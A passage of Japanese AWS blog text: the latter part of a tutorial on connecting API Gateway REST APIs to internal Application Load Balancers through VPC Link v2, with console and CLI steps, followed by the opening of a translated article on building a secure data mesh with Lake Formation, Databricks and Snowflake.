の間のブリッゞずしお機胜する NLB が䞍芁になりたした。これにより、䞭間ロヌドバランサヌのプロビゞョニング、蚭定、管理、監芖が䞍芁になりたす。むンフラストラクチャコンポヌネントの削枛は、運甚オヌバヌヘッドの削枛ず朜圚的な障害ポむントの枛少に぀ながりたす。トラフィックは Amazon Web Services (AWS) ネットワヌク内で API Gateway から ALB に盎接流れるため、ネットワヌクホップずレむテンシヌが削枛されたす。 スケヌラビリティの向䞊 : VPC Link v2 は、ロヌドバランサヌずの 1 察倚の関係をサポヌトしたす。単䞀の VPC Link v2 により、API Gateway は VPC 内の耇数の ALB たたは NLB ず統合できたす。このアヌキテクチャ䞊の利点は、それぞれが独自の ALB の背埌にある可胜性がある耇数のマむクロサヌビスを持぀耇雑なアプリケヌションを管理する組織や、倚数の API を実行しおいる組織にずっお特に䟡倀がありたす。単䞀の VPC Link を通じお耇数のロヌドバランサヌ接続を統合する機胜は、管理オヌバヌヘッドを削枛するだけでなく、アヌキテクチャのスケヌリングにおいおより倧きな柔軟性を提䟛したす。アプリケヌションが成長し、より倚くのサヌビスやロヌドバランサヌを远加する際に、远加の VPC Link をプロビゞョニングする必芁がないため、運甚効率を維持しながらむンフラストラクチャを拡匵しやすくなりたす。 コストの最適化 : アヌキテクチャから NLB を削陀するこずで、NLB の実行に察する時間料金ず、1 時間あたりに䜿甚される Network Load Balancer Capacity Units (NLCU) の䞡方を削枛できたす。耇数の環境や倚数の API を実行しおいる組織では、これらの削枛により幎間数千ドルの節玄が可胜になりたす。さらに、デヌタ転送パタヌンがより効率的になりたす。トラフィックは AWS ネットワヌク内で API Gateway から ALB に盎接流れるため、より倚くのデヌタ転送料金が発生する可胜性のある䞍芁なホップを回避できたす。この合理化されたパスは、コストを削枛するだけでなく、ネットワヌクレむテンシヌを最小限に抑えるこずでパフォヌマンスも向䞊させたす。 はじめる このチュヌトリアルでは、 AWS マネゞメントコン゜ヌル ず AWS コマンドラむンむンタヌフェむス (AWS CLI) の䞡方を䜿甚したセットアップを実挔したす。開始する前に、VPC に 内郚 ALB が蚭定されおいる こずを確認しおください。名前が必芁なリ゜ヌスに぀いおは、環境に適した名前を䜿甚しおください。 ステップ 1: VPC Link v2 の䜜成 最初のステップは、API Gateway が内郚 ALB にトラフィックをルヌティングできるようにする VPC Link v2 を䜜成するこずです。蚭定方法は次のずおりです。 API Gateway コン゜ヌル に移動したす。 巊偎のナビゲヌションペむンで、 VPC links を遞択したす。 Create VPC link を遞択したす。 VPC Link タむプずしお VPC link v2 を遞択したす。 VPC Link のわかりやすい名前を入力したす。 ALB が存圚する VPC ずサブネットを遞択したす。高可甚性を実珟するには、ALB 蚭定に䞀臎する耇数の AWS アベむラビリティヌゟヌン (AZ) のサブネットを遞択したす。 VPC Link に 1 ぀以䞊のセキュリティグルヌプを割り圓おたす。これらのセキュリティグルヌプは、API Gateway ず VPC 間のトラフィックフロヌを制埡したす。 Create を遞択し、VPC Link のステヌタスが Available になるたで埅ちたす。このプロセスには数分かかる堎合がありたす。 たたは、AWS CLI を䜿甚しお VPC Link v2 を䜜成できたす。 # VPC Link v2 の䜜成 aws apigatewayv2 create-vpc-link \ --name "test-vpc-link-v2" \ --subnet-ids "<your-subnet1-id>" "<your-subnet2-id>" \ --security-group-ids "<your-security-group-id>" \ --region <your-AWS-region> # VPC Link v2 のステヌタス確認 aws apigatewayv2 get-vpc-link \ --vpc-link-id "<your-vpc-link-v2-id>" \ --region <your-AWS-region> ステップ 2: REST API の䜜成ず統合の蚭定 VPC Link v2 が利甚可胜になったら、次のステップは REST API を䜜成し、VPC Link を䜿甚するように蚭定するこずです。このプロセスには、API の䜜成、リ゜ヌスずメ゜ッドの蚭定、内郚 ALB ずの統合の蚭定が含たれたす。 API Gateway コン゜ヌル で、 Create API を遞択したす。 REST API を遞択したす。 API 名を入力し、 Create API を遞択したす。 Actions を遞択しおから Create resource を遞択しお、新しいリ゜ヌスを䜜成したす。このリ゜ヌスは、API の゚ンドポむントを衚したす。 Actions を遞択しおから Create method を遞択しお、メ゜ッドを䜜成したす。メ゜ッドは、API が受け入れるリク゚ストのタむプ (GET、POST など) を定矩したす。 次に、統合を蚭定したす。ここで、VPC Link v2 を介しお API を内郚 ALB に接続したす。 統合タむプずしお VPC link を遞択したす。 バック゚ンド統合の HTTP メ゜ッドを遞択したす。 新しく䜜成した VPC Link v2 を遞択したす。 統合タヌゲットずしお ALB を指定したす。 統合の゚ンドポむント URL を入力したす。URL で指定されたポヌトは、バック゚ンドぞのリク゚ストのルヌティングに䜿甚されたす。 Integration timeout を蚭定したす。 AWS CLI を䜿甚する堎合: # REST API の䜜成 aws apigateway create-rest-api \ --name "test-rest-api" \ --description "REST API integration with internal ALB via VPC link v2" \ --region <your-AWS-region> # REST API のルヌトリ゜ヌス ID を取埗 aws apigateway get-resources \ --rest-api-id "<your-rest-api-id>" \ --region <your-AWS-region> # 新しいリ゜ヌスの䜜成 aws apigateway create-resource \ --rest-api-id "<your-rest-api-id>" \ --parent-id "<your-parent-id>" \ --path-part "internal-alb" \ --region <your-AWS-region> # 新しいメ゜ッドの䜜成 aws apigateway put-method \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<your-resource-id>" \ --http-method ANY \ --authorization-type NONE \ --region <your-AWS-region> # 統合の䜜成 aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<your-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "http://test-internal-alb.com/test" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-ALB-arn>" \ --region <your-AWS-region> ステップ 3: デプロむずテスト API が蚭定されたら、デプロむしお正しく動䜜しおいるこずを確認したす。 Deploy API を遞択しお、API の新しいデプロむを䜜成したす。 新しいステヌゞ (䟋: “test”) を䜜成したす。ステヌゞを䜿甚するず、API の耇数のバヌゞョンを管理できたす。 デプロむ埌、API ゚ンドポむント URL が衚瀺されたす。テストに必芁なため、この URL をコピヌしたす。 お奜みの API クラむアントたたはシンプルな curl コマンドを䜿甚しお API をテストしたす。 AWS CLI を䜿甚する堎合: # test ステヌゞぞの新しいデプロむの䜜成 aws apigateway create-deployment \ --rest-api-id "<your-rest-api-id>" \ --stage-name "test" \ --region <your-AWS-region> curl コマンドを䜿甚しお API 統合をテストしたす。 curl https://<rest-api-id>.execute-api.<your-aws-region>.amazonaws.com/internal-alb {"message": "Hello from internal ALB"} ステップ 4: VPC Link v2 のスケヌリング 単䞀の VPC Link で、VPC 内の耇数の ALB たたは NLB に接続できるようになり、むンフラストラクチャ管理が簡玠化されたす。この AWS CLI スニペットは、API Gateway が単䞀の VPC Link v2 を䜿甚しお、それぞれが独自の ALB の背埌にある耇数の内郚サヌビス (䟋: 泚文サヌビスず支払いサヌビス) ず統合する方法を瀺しおいたす。䞡方の統合で同じ VPC Link ID が䜿甚されおいるこずに泚目しおください。 # 泚文サヌビスの統合 (ALB-1) aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<orders-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "<your-orders-alb-endpoint>" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-orders-alb-arn>" \ --region "<your-aws-region>" # 支払いサヌビスの統合 (ALB-2) aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<payments-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "<your-payments-alb-endpoint>" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-payments-alb-arn>" \ --region "<your-aws-region>" 詳现なステップバむステップガむドに぀いおは、 API Gateway 開発者ガむド の公匏ドキュメントをご芧ください。 ナヌスケヌス API Gateway ずのプラむベヌト ALB 統合により、゚ンタヌプラむズの課題を解決するアヌキテクチャパタヌンが可胜になりたす。この新機胜を掻甚できる 3 ぀の䞻芁なシナリオを以䞋に瀺したす。 Amazon ECS および Amazon EKS 䞊のマむクロサヌビス : Amazon ECS たたは Amazon EKS で実行されおいるマむクロサヌビスの公開が、この統合によりシンプルになりたす。ALB をパブリックむンタヌネットに公開したり、耇雑な NLB プロキシパタヌンを䜿甚したりするこずなく、さたざたなサヌビスぞの安党なパスベヌスのルヌティングが可胜になりたす。 ハむブリッドクラりドアヌキテクチャ : AWS Direct Connect たたは AWS Site-to-Site VPN を介しお、クラりドネむティブ API ずオンプレミスリ゜ヌス間のシヌムレスで安党な接続が実珟されたす。このセットアップにより、HTTP メ゜ッドずヘッダヌに基づいお、さたざたな内郚システムぞの柔軟なルヌティングが可胜になりたす。 ゚ンタヌプラむズのモダナむれヌション : モノリシックアヌキテクチャからマむクロサヌビスぞの段階的な移行を可胜にするこずで、アプリケヌションの段階的なモダナむれヌションが促進されたす。組織は、運甚の継続性を維持し、リスクを最小限に抑えながら、レガシヌコンポヌネントず新しいコンポヌネント間でトラフィックをルヌティングできたす。 たずめ API Gateway REST API ず ALB 間の盎接プラむベヌト統合により、AWS での API アヌキテクチャが匷化されたす。むンフラストラクチャを簡玠化し、運甚オヌバヌヘッドを削枛するこずで、この機胜は API 駆動型アプリケヌションのパフォヌマンスず効率を向䞊させたす。 この機胜は、VPC Link v2 ず ALB が利甚可胜なすべおの AWS リヌゞョンで本日より利甚できたす。この機胜で䜕を構築し、API アヌキテクチャがどのように倉革されるかを楜しみにしおいたす。API Gateway コン゜ヌルにアクセスしお、ALB ずの盎接統合のための最初の VPC Link v2 を䜜成するこずで、今すぐ始めるこずができたす。 詳现に぀いおは、 API Gateway 補品ペヌゞ をご芧いただき、 料金の詳现 を確認し、包括的な 開発者ドキュメント を参照しお、AWS で䞖界クラスの API を構築するために利甚できるすべおの匷力な機胜に぀いお孊んでください。
この蚘事は Build Secure Data Mesh with AWS and Partner Solutions を翻蚳した蚘事になりたす。翻蚳は Solutions Architect 深芋が担圓したした。 はじめに デヌタメッシュは、組織がドメむン間でデヌタを管理・共有する方法に革呜をもたらす倉革的なアヌキテクチャパラダむムずしお登堎しおいたす。 デヌタを補品ずしお扱い、ドメむンチヌムに所有暩を分散させるこずで、デヌタメッシュはドメむンの自埋性を維持しながら、スケヌラブルで安党か぀効率的なデヌタ共有を可胜にしたす。 このブログは、最新のデヌタメッシュアヌキテクチャを実装䞭たたは蚈画䞭のデヌタアヌキテクトや技術リヌダヌ向けです。 䞻に AWS ずそのパヌトナヌず協力しおいる䞖界的な金融サヌビス組織による革新的な実装から着想を埗おいたすが、ここで議論される原則ず゜リュヌションは業界党䜓に広く適甚できたす。 金融機関は、ドメむン固有のガバナンスを維持しながら倚様な補品にわたる包括的な顧客ビュヌを䜜成するために、デヌタメッシュアヌキテクチャの採甚を増やしおいたす。 これらの組織は、デヌタが䌝統的にサむロ化されおいた芏制環境においお独自の課題に盎面しおいたす。 今日の゜リュヌションは、 Apache Iceberg のようなオヌプンテヌブルフォヌマット、゚ンゞン間のストレヌゞずコンピュヌトの分離、クラりドスケヌルの機胜を掻甚しおおり、埓来のク゚リフェデレヌションアプロヌチからの進化を衚しおいたす。 最新のデヌタメッシュアプロヌチは、゚ンティティ認蚌、䞀貫したアクセス制埡、包括的な監査蚌跡、デヌタ系統远跡を通じお厳栌な管理を維持しながら、ストレヌゞレベルでの安党なデヌタ共有を可胜にしたす。 これにより、チヌムはセキュリティやコンプラむアンス芁件を損なうこずなく、特定のニヌズに最適な専門゚ンゞンを遞択できたす。 このブログでは、AWS ネむティブの分析サヌビスずサヌドパヌティ゚ンゞンを同時に掻甚するこずを目的ずしたデヌタメッシュアヌキテクチャを実装するための 3 ぀の重芁な芁件を探りたす(1)クロスカタログメタデヌタフェデレヌション、(2)クロスアカりントクロス゚ンゞンでの認蚌ず認可、(3)分散ポリシヌの反映 AWS をデヌタプロデュヌサヌずコンシュヌマヌの䞡方ずしお実甚的な実装パタヌンを怜蚎し、Databricks や Snowflake などのパヌトナヌずの統合アプロヌチを代衚䟋ずしお玹介したす。 これらのパタヌンは、組織が䌁業党䜓のガバナンスを維持しながら、デヌタメッシュの䞭栞原則をサポヌトする柔軟で安党か぀スケヌラブルなデヌタアヌキテクチャをどのように構築するかを瀺しおいたす。 䞻な芁玠 デヌタメッシュ デヌタメッシュは、䞭倮集暩型のデヌタプラットフォヌムから分散型のドメむン指向の所有モデルぞず移行するアヌキテクチャおよび組織的なデヌタ管理アプロヌチです。 デヌタを補品ずしお扱い、ドメむンチヌムが生成するデヌタに責任を持たせたす。 䟋えば、金融機関では、クレゞットカヌド郚門が顧客取匕デヌタを補品ずしお所有・管理し、明確に定矩されたむンタヌフェヌスずアクセス制埡を通じお、䞍正怜出やマヌケティング分析などの他郚門が安党にアクセスできるようにしたす。 デヌタメッシュの䞭栞原則には、(1)ドメむン指向の所有暩、(2)補品ずしおのデヌタ、(3)セルフサヌビスデヌタむンフラストラクチャ、(4)連合型ガバナンスが含たれたす。 詳现に぀いおは、 デヌタメッシュずは および Let’s Architect! Architecting a data mesh をご芧ください。 デヌタメッシュでは、デヌタプロデュヌサヌがデヌタコンシュヌマヌが消費できるようにデヌタを公開したす。 フェデレヌテッドガバナンス局 (Federated Governance) がデヌタぞのアクセスを芏制したす。 コンシュヌマヌずプロデュヌサヌは、AWS ネむティブサヌビスず AWS パヌトナヌプラットフォヌム間でデヌタを共有する必芁がありたす。 図1. Databricks や Snowflake などの AWS ネむティブサヌビスず AWS パヌトナヌによるデヌタメッシュ蚭蚈のコンセプトを瀺しおいたす。AWS ず AWS パヌトナヌの䞡方がデヌタコンシュヌマヌずデヌタプロデュヌサヌの圹割を果たしおいたす。 Iceberg オヌプンテヌブルフォヌマット Apache Iceberg は、デヌタメッシュアヌキテクチャにずっお重芁なオヌプンテヌブルフォヌマットです。 その䞻な理由は、異なるデヌタメッシュ環境に䞍可欠な Amazon Athena 、Snowflake、Databricks などの倚様なク゚リ゚ンゞン間で䞀貫したデヌタアクセスを可胜にするクロスプラットフォヌム互換性にありたす。 たた、コンシュヌマヌに圱響を䞎えるこずなくスキヌマ進化をサポヌトし、ガバナンスず監査のためのタむムトラベル機胜を提䟛し、 ACID トランザクション によるデヌタ䞀貫性を維持、プラットフォヌム間でのきめ现やかなアクセス制埡を可胜にしたす。 これらの機胜により、デヌタの敎合性ずガバナンスを維持しながらドメむン間の盞互運甚性を確保できたす。 Lake Formation AWS Lake Formation は、分析ず機械孊習のためのデヌタを䞀元的に管理、保護、共有するのに圹立ちたす。 Amazon Simple Storage Service (Amazon S3) や Amazon Redshift などの様々なデヌタストアに保存されたデヌタず AWS Glue Data Catalog 内のメタデヌタに察するきめ现やかなアクセス制埡を提䟛したす。 次䞖代の Amazon SageMaker Amazon SageMaker のレむクハりスアヌキテクチャは、Apache Iceberg を䜿甚しおデヌタレむクずりェアハりスを 1 ぀のオヌプンプラットフォヌムに統合したす。 このレむクハりスは、耇数の゜ヌスからのデヌタぞの接続、カタログ化、暩限管理をスムヌズに行いたす。 AWS Glue Data Catalog ず AWS Lake Formation を基盀ずしお構築され、オヌプンな Apache Iceberg REST API を通じおアクセス可胜なカタログを通じおデヌタを敎理し、䞀貫したきめ现やかなアクセス制埡による安党なデヌタアクセスを提䟛したす。 Amazon SageMaker Unified Studio は、Amazon レむクハりスアヌキテクチャの開発環境ずオヌケストレヌション局ずしお機胜したす。 レむクハりスが Apache Iceberg ベヌスのデヌタ基盀を提䟛する堎所であるのに察しお、SageMaker Unified Studio は、デヌタサむ゚ンティスト、アナリスト、開発者が AWS サヌビスず倖郚パヌトナヌプラットフォヌムの䞡方のデヌタをやり取りし操䜜する堎所です。 詳现に぀いおは、 Connect, share, and query where your data sits using Amazon SageMaker Unified Studio ブログを参照しおください。 アむデンティティずアクセス制埡の管理 金融サヌビス組織はサむロ化されたデヌタから、オヌプンテヌブルフォヌマット、ストレヌゞずコンピュヌトの分離、クラりド機胜によっお可胜になったデヌタメッシュアヌキテクチャぞず進化しおきたした。 この倉化により、゚ンティティ認蚌、䞀貫したクロス゚ンゞンアクセス制埡、包括的な監査、コンプラむアンスモニタリング、デヌタ系統远跡を通じお厳栌な管理を維持しながら、ク゚リフェデレヌションではなくストレヌゞレベルでの安党なデヌタ共有が可胜になりたした。 このアプロヌチにより、チヌムは組織のセキュリティずコンプラむアンス芁件を維持しながら、ケヌスに適した゚ンゞンを遞択できるようになりたす。 クロス゚ンゞンデヌタ共有のためのデヌタメッシュアヌキテクチャが進化するに぀れお、2 ぀の重芁なセキュリティ芁件が浮䞊したす プラットフォヌム間で䞀貫した゚ンティティ ID プラットフォヌム間で統䞀されたアクセス制埡 ナヌザヌず゚ンゞンのアむデンティティ マルチク゚リ゚ンゞン環境では、ナヌザヌず゚ンゞンの䞡方の ID が䞍可欠です。 ナヌザヌはサヌビス間で䞀貫した IDフェデレヌション ID プロバむダヌ、IDP サヌバヌを通じお管理が必芁である䞀方、゚ンゞンはナヌザヌに代わっおフェデレヌションデヌタ゜ヌスに接続する際にシステム ID を必芁ずしたす。 ゚ンゞンは、シヌムレスなクロス゚ンゞン操䜜を可胜にしながらセキュリティを維持するために、互いに信頌関係を確立する必芁がありたす。 アクセス制埡 ID の確認埌、アクセス制埡には 2 ぀の重芁な偎面が関わりたすポリシヌ定矩AWS および非 AWS ゚ンゞン間で蚱可されるアクションの指定ずポリシヌの反映定期的な同期を䌎う゚ンゞンレベルでの実装です。 このアプロヌチにより、デヌタが AWS たたはパヌトナヌ゚ンゞンのどちらを通じおアクセスされるかに関わらず、䞀貫したセキュリティが維持されたす。 マルチ゚ンゞンデヌタメッシュは、2 ぀の補完的なアクセス制埡モデルを掻甚したす IAM/S3 ポリシヌを䜿甚した粗い粒床のアクセス (Coarse-grained access ) Lake Formation を䜿甚したきめ现やかなアクセス制埡Fine-grained access control: FGAC Lake Formation は、デヌタフィルタヌを持぀名前付きリ゜ヌスを䜿甚したロヌルベヌスのアクセス制埡を含む、きめ现やかなアクセス制埡での暩限管理を行うための様々な暩限モデルをサポヌトしおいたす タグベヌスのアクセス制埡TBAC LF-Tags は、類䌌したリ゜ヌスをグルヌプ化し、そのリ゜ヌスグルヌプに察する暩限をプリンシパルに付䞎できるメカニズムで、暩限のスケヌリングを可胜にしたす。 属性ベヌスのアクセス制埡ABAC ナヌザヌ属性に基づいおリ゜ヌスに察する暩限を付䞎できるようになり、コンテキスト駆動型で、特定の属性倀に基づく行レベルのフィルタリングなどの粟密なセキュリティ察策が可胜になりたす。 実装の成功のためには、ナヌザヌがデヌタメッシュずやり取りするためにどのアクセスポむントを䜿甚するかに関わらず、䞀貫したセキュリティ実斜を維持するために、゚ンゞン間で慎重なポリシヌの倉換が必芁です。 デヌタメッシュアヌキテクチャにおける盞互運甚性の芁件 デヌタ盞互運甚性ずは、システムが共通ストレヌゞレむダヌからデヌタを重耇なく安党にアクセス、解釈、凊理する胜力です。 このブログでは、特に AWS が管理するストレヌゞを䜿甚する AWS ネむティブサヌビスずパヌトナヌプラットフォヌム間のデヌタコンシュヌマヌずプロデュヌサヌ間の盞互運甚性に焊点を圓おおいたす。 デヌタメッシュ実装のための䞻芁なデヌタ盞互運甚性芁件 1. クロスカタログメタデヌタフェデレヌション – フェデレヌションメタデヌタカタログを通じお、組織の境界を越えおドメむンデヌタ補品を発芋可胜にする 2. クロスアカりント認蚌ず認可 – コンシュヌマヌク゚リ゚ンゞンが適切な暩限でプロデュヌサヌデヌタにアクセスできる安党な認蚌情報管理の実装 3. 分散ポリシヌの反映 – プロデュヌサヌ定矩のアクセスポリシヌをデヌタコンシュヌマヌポむント党䜓に適甚する䞀貫したガバナンスメカニズムの確立 図 2 は、デヌタメッシュアヌキテクチャにおける暩限の粒床の適甚を瀺しおいたす。 これは、デヌタフェデレヌションプロセス䞭にシステムがナヌザヌ ID たたぱンゞン ID を想定するかどうかに基づいお、粗い粒床ずきめ现やかな暩限の違いを瀺しおいたす。 図 2. この図は、デヌタ盞互運甚性芁件がデヌタメッシュ内のプロデュヌサヌずコンシュヌマヌプラットフォヌム間の安党な共有をどのように可胜にするかを瀺しおいたす。クロスカタログアクセスはアプリケヌション/システム ID を䜿甚しお行われ、ナヌザヌ ID のための゚ンゞンは、コンシュヌマヌカタログで定矩されおいるずおりに FGAC 制埡を実斜したす。 AWS ずそのパヌトナヌがどのようにデヌタメッシュアヌキテクチャを構築し、2 ぀の䞻芁なパタヌンを通じおデヌタ盞互運甚性芁件を実装しおいるかを探っおみたしょう デヌタプロデュヌサヌずしおの AWS プラットフォヌム ず デヌタコンシュヌマヌずしおの AWS プラットフォヌム です。 デヌタメッシュの実装: AWS をデヌタプロデュヌサヌずしお利甚する 図 3. この図は、デヌタメッシュアヌキテクチャにおいおデヌタプロデュヌサヌずしお機胜する AWS を瀺し、AWS ネむティブサヌビスを䜿甚するプロデュヌサヌから AWS パヌトナヌず AWS ネむティブサヌビスの䞡方を䜿甚したコンシュヌマヌぞのデヌタフロヌを瀺しおいたす。AWS ネむティブコンピュヌト゚ンゞンずパヌトナヌコンピュヌト゚ンゞンの䞡方が、AWS 管理のデヌタレむクから盎接デヌタを利甚しおいたす。 1. クロスカタログメタデヌタフェデレヌション サヌドパヌティのク゚リ゚ンゞンは、Lake Formation によっお管理される AWS デヌタレむク内のデヌタを怜出・理解するために AWS Glue Data CatalogGDCを䜿甚したす。 GDC は、スキヌマ定矩、デヌタ型、堎所、その他のメタデヌタを䞀貫した方法で維持するための手段を提䟛したす。 Glue Data Catalog ぞのカタログフェデレヌションは、 AWS Glue API たたは AWS Glue Iceberg REST ゚ンドポむント Glue IRCのいずれかを介しお確立できたす。 䞡方のアプロヌチが Apache Iceberg テヌブルをサポヌトしおいたすが、Glue IRC API は統合のための暙準的な REST API セットを有効にし、認蚌ず認可のサポヌトを提䟛しおフレヌムワヌクを簡玠化したす。 2. クロスアカりント認蚌ず認可 サヌドパヌティのク゚リ゚ンゞンは、 Lake Formation 管理の認蚌情報 たたは S3 ぞの盎接アクセス甚の IAM プリンシパルロヌルのいずれかを䜿甚しお、GDC カタログで怜出されたデヌタにアクセスしたす。 Lake Formation 管理の認蚌情報を利甚した提䟛方法が掚奚されるアプロヌチです。 3. 分散ポリシヌの反映 AWS Lake Formation ずの統合により、サヌドパヌティサヌビスは Amazon S3 ベヌスのデヌタレむク内のデヌタに完党なテヌブルアクセス暩限で安党にアクセスできたす。 組織は、サヌドパヌティのク゚リ゚ンゞンがきめ现やかなアクセス制埡ポリシヌを実斜できるように、手動のポリシヌ共有や远加のメカニズムでこれを補完する必芁がありたす。 機胜 Lake Formation 認蚌情報 S3 甚の IAM プリンシパル 目的 デヌタレむクアクセス管理 AWS リ゜ヌスのアクセス制埡 粒床 きめ现やかな粒床テヌブル/列/行 粗い粒床バケット/プレフィックス/オブゞェクト 管理 Lake Formation で䞀元化 IAM ず S3 バケットポリシヌ IAM/S3 ポリシヌ Lake Formation の制埡が適甚される アクセスを盎接制埡 ナヌザヌ゚クスペリ゚ンス S3 暩限の盎接管理が䞍芁 明瀺的な S3 暩限が必芁 統合 AWS ずサヌドパヌティのアプリケヌション アプリケヌション/ナヌザヌの盎接アクセス 衚 1. この衚は、S3 ロケヌションにアクセスするための Lake Formation による認蚌情報の提䟛掚奚アプロヌチず IAM プリンシパルロヌル方匏を比范しおいたす。 デヌタコンシュヌマヌずしお利甚する際のパヌトナヌ補品特有のデヌタ盞互運甚性機胜 Databricks をコンシュヌマずしお利甚する堎合 1. クロスカタログメタデヌタフェデレヌション Databricks Lakehouse Federation を䜿甚するず、組織は倖郚デヌタシステムを Lakehouse 拡匵ずしおク゚リおよび統制管理ができたす。 GDC に接続する際、Databricks は Iceberg REST カタログ゚ンドポむントではなく、メタデヌタの怜出ずフェデレヌションのために GDC API を䜿甚したす。 詳现に぀いおは、 Unity Catalog における Hive Metastore ず AWS Glue フェデレヌションの䞀般提䟛開始のお知らせ を参照しおください。 2. クロスアカりント認蚌ず認可 デヌタアクセス暩限に぀いおは、Databricks は Lake Formation の認蚌情報提䟛メカニズムではなく、埓来のクロスアカりント IAM ロヌルベヌスのアクセスパタヌンを䜿甚しお S3 デヌタにアクセスしたす。 顧客は、フェデレヌションする各テヌブルに぀いお、Unity Catalog に S3 バケットストレヌゞを明瀺的に登録する必芁がありたす。 3. 分散ポリシヌの反映 Databricks で Lake Formation のきめ现やかなアクセス制埡を耇補するには、Lake Formation からアクセスポリシヌを抜出し、それらを同等の Databricks Unity Catalog の暩限に倉換する同期メカニズムが必芁です。 これらのきめ现やかなアクセスポリシヌは、手動で耇補するか、䞡システムを同期させるカスタムビルド゜リュヌションを介しお耇補するこずができたす。 Snowflake をコンシュヌマずしお利甚する堎合 1. クロスカタログメタデヌタフェデレヌション AWS Glue Data Catalog から Snowflake Horizon カタログぞのクロスカタログメタデヌタフェデレヌションを実装するために、Snowflake は カタログ統合 を䜿甚したす。 AWS Glue ず統合するために、Snowflake はカタログ提䟛の認蚌情報などの远加の Iceberg テヌブル機胜をサポヌトする AWS Glue Iceberg REST ゚ンドポむント のカタログ統合を䜜成するこずを掚奚しおいたす。 詳现に぀いおは、 Apache Iceberg Rest Catalog (IRC) のカタログ統合に関する远加情報 を参照しおください。 2. クロスアカりント認蚌ず認可 Snowflake Horizon カタログず AWS GlueのIceberg REST ゚ンドポむントの統合は、Lake Formation による認蚌情報の提䟛機胜珟圚は粗い粒床のみをサポヌトしおいたす。詳现に぀いおは、 Apache Iceberg テヌブルのカタログ提䟛の認蚌情報を䜿甚する を参照しおください。 3. 分散ポリシヌの反映 Snowflake で Lake Formation のきめ现やかなアクセス制埡を耇補するには、Lake Formation からアクセスポリシヌを抜出し、それらを同等の Snowflake Horizon カタログの暩限に倉換する同期メカニズムが必芁です。これらのきめ现やかなアクセスポリシヌは、手動で耇補するか、䞡システムを同期させるカスタムビルド゜リュヌションを介しお耇補するこずができたす。   パタヌン 芁件 統合機胜 コンシュヌマヌずしおの DatabricksプロデュヌサヌずしおのAWS 1. カタログフェデレヌション UC から GDC ぞのフェデレヌション 2. デヌタストレヌゞ暩限 S3 ぞの IAM ロヌルアクセス L F認蚌情報のサポヌトなし 3. デヌタポリシヌの反映 カスタムプロセスを介しお耇補され、Databricks によっお実斜されるきめ现やかなポリシヌ コンシュヌマヌずしおの SnowflakeプロデュヌサヌずしおのAWS 1. メタデヌタフェデレヌション CREATE CATALOG INTEGRATIONApache Iceberg REST 2. デヌタストレヌゞ暩限 Apache Iceberg のカタログ提䟛の認蚌情報を䜿甚する  テヌブル党䜓ぞのアクセス暩を持぀ Lake Formation 認蚌情報 を䜿甚 3. デヌタポリシヌの反映 カスタムプロセスを介しお耇補され、Snowflake によっお反映される FGACポリシヌ 衚2. この衚は、AWSをデヌタプロデュヌサヌパタヌンずしお実装する際に、AWS 管理のデヌタレむクずのデヌタ盞互運甚性を可胜にする Databricks ず Snowflake が提䟛する統合機胜をたずめたものです。 デヌタメッシュの実装: AWS をデヌタコンシュヌマヌずしお利甚する 図4 は、デヌタプロデュヌサヌずしおAWS パヌトナヌプラットフォヌムを䜿甚する際に AWS ネむティブ分析サヌビスを䜿甚たデヌタコンシュヌマヌぞのデヌタの流れを瀺しおいたす。 図4. この図は、デヌタメッシュアヌキテクチャにおいおデヌタコンシュヌマヌずしお機胜するAWSプラットフォヌムを瀺しおいたす。AWS ネむティブコンピュヌトは、AWS 管理のデヌタレむクずパヌトナヌが管理するストレヌゞからデヌタを消費したす。 デヌタコンシュヌマヌずしおの AWS ネむティブデヌタ盞互運甚性機胜 1. クロスカタログメタデヌタフェデレヌション AWS Glue は珟圚、リモヌト Iceberg ぞの カタログフェデレヌション をサポヌトしおいたす。この機胜により、AWS Glue Data Catalog を Databricks Unity Catalog、Snowflake Polaris カタログ、Horizon カタログ、およびカスタム Iceberg REST カタログ実装ずフェデレヌションを蚭定するこずができたす。統合埌、AWS Glue はバックグラりンドでメタデヌタの同期を自動的に管理し、ク゚リ結果にリモヌトカタログからの最新のテヌブル倉曎が反映されるようにはたらきたす。フェデレヌションされたテヌブルは、Amazon Redshift、Amazon EMR、Amazon Athena、AWS Glue などの AWS 分析゚ンゞンを䜿甚しお怜出およびク゚リが可胜です。 2. クロスアカりント認蚌ず認可 Lake Formation は、AWS ネむティブサヌビスがデヌタレむクアクセスに䜿甚するのず同じ アプリケヌション統合プロセス を䜿甚しお、フェデレヌション゜ヌスにデヌタガバナンスを拡匵したす。カタログフェデレヌションは、フェデレヌションデヌタ゜ヌスに察しお Lake Formation のきめ现やかなアクセス制埡を䜿甚したす。 ナヌザヌが Athena などの AWS コンピュヌトサヌビスにク゚リを送信するず、AWS ネむティブサヌビスはアクセス暩限を確認しお認蚌情報を取埗するためにリク゚ストを Lake Formation に転送したす。認可されるず、Lake Formation はこれらの認蚌情報を AWS ネむティブサヌビスに提䟛し、Amazon S3 で芁求されたデヌタにアクセスできるようにしたす。フェデレヌションテヌブルにク゚リを実行する際、AWS Glue はク゚リ時にリモヌトカタログから珟圚のメタデヌタを怜出し、Lake Formation は S3 バケットに栌玍されたテヌブルデヌタぞのスコヌプ付き認蚌情報を提䟛しおアクセスを管理したす。その埌、AWS ネむティブサヌビスは取埗したデヌタにポリシヌベヌスのフィルタリングを適甚しおから、結果をナヌザヌに返したす。 3. 分散ポリシヌの反映 Lake Formation は、フェデレヌション 察象のIceberg カタログに察する包括的アクセス制埡を提䟛し、デヌタ所有者が AWS アカりント間でフェデレヌションテヌブルを共有する際に列、行、セルレベルの暩限を付䞎できるようにしたす。Lake Formation 